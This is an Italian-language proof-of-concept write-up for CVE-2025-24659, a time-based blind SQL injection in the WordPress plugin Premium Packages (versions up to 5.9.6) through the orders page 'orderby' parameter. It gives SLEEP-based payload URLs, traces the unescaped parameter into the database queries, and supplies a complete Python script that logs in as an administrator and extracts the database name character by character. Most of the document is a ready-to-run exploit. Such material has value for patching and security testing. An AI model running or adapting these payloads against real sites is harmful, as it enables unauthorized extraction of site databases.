dottak/cve-2025-24659PoC di CVE-2025-24659
Plugin WordPress
Nome del componente Premium Packages – Sell Digital Products Securely
Versione vulnerabile <= 5.9.6
Slug del componente wpdm-premium-packages
Link del componente https://wordpress.org/plugins/wpdm-premium-packages/
Classe di vulnerabilità A3: Injection
Tipo di vulnerabilità SQL Injection
Amministratore
Esiste una vulnerabilità di SQL Injection nelle versioni 5.9.6 e precedenti del plugin Premium Packages - Sell Digital Products Securely (di seguito denominato plugin Premium Packages). Ciò si verifica a causa di un escaping insufficiente del parametro URL orderby quando si visualizza l'elenco degli ordini nel menu degli ordini della dashboard del plugin (/wp-admin/edit.php?post_type=wpdmpro&page=orders).
Di conseguenza, un attaccante con privilegi di amministratore può sfruttare questa vulnerabilità per accedere a tutte le informazioni memorizzate nel database del sito target.
Inoltre, sebbene questa vulnerabilità di SQL Injection non consenta il recupero diretto dei dati dalla risposta, le informazioni possono essere estratte utilizzando tecniche di SQL Injection cieca basata sul tempo (Time-Based Blind SQL Injection) che sfruttano la differenza nei tempi di risposta in base a condizioni vere/false nelle query SQL.
Accedi come amministratore a un sito WordPress in cui il plugin Premium Packages è installato e attivato.
Poiché il plugin Premium Packages è un componente aggiuntivo per il plugin Download Manager (https://wordpress.org/plugins/download-manager/), anche il plugin Download Manager deve essere installato e attivato.
Quando si accede all'URL seguente, la condizione della query SQL (1=1) sarà sempre vera, quindi la pagina verrà visualizzata dopo 5 secondi a causa della funzione SLEEP(5).
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))
1=2) è sempre falsa, la pagina viene visualizzata immediatamente.http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))
Quando si richiede la dashboard dell'elenco degli ordini del plugin Premium Packages, viene eseguito il file /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php.
A questo punto, il valore del parametro URL orderby viene assegnato alla variabile $orderby senza un escaping adeguato. Successivamente, la variabile $orderby viene passata alla variabile $qry e completa la clausola order by nella query SQL.
Quindi, la variabile $qry viene passata come argomento alle funzioni totalOrders e GetAllOrders.
Queste funzioni sono definite nel file /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php e il valore dell'argomento ricevuto viene utilizzato direttamente nelle query del database.
Pertanto, poiché il valore del parametro URL orderby viene utilizzato direttamente nelle query del database senza escaping, si verifica una vulnerabilità di SQL Injection.
Quindi, inserisci il seguente comando per eseguire il codice PoC.
Moduli richiestirequests
python poc.py
import re
import time
import string
import requests
## To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
SLEEP_TIMER = 1
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- Successfully logged in with account {login_id}.")
return session
else:
raise Exception(f"[-] Failed to log in.")
def poc_get_db_length(session):
length = 1
while True:
payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) < SLEEP_TIMER:
print(f" |- Database name length is greater than {length}.")
length += 1
else:
print(f" |- Database name length: {length}")
break
return length
def poc_get_db_name(session, db_length):
db_name = ""
for i in range(1, db_length+1):
for char in string.ascii_letters + string.digits:
payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) > SLEEP_TIMER:
db_name += char
print(f" |- Database name: {db_name.ljust(db_length, '*')}")
break
print(f" |- Successfully extracted the database name: {db_name}")
def poc():
####
## 1. Log in as administrator
####
print(f"[+] Logging in with administrator account.")
print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
###
## 2. Retrieve database name length
###
print(f"[+] Retrieving database name length.")
db_length = poc_get_db_length(admin_session)
###
## 3. Retrieve database name
###
print(f"[+] Retrieving database name.")
poc_get_db_name(admin_session, db_length)
if __name__ == "__main__":
## WordPress Target
TARGET = "http://localhost:8080"
## Administrator ID/PW
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc()
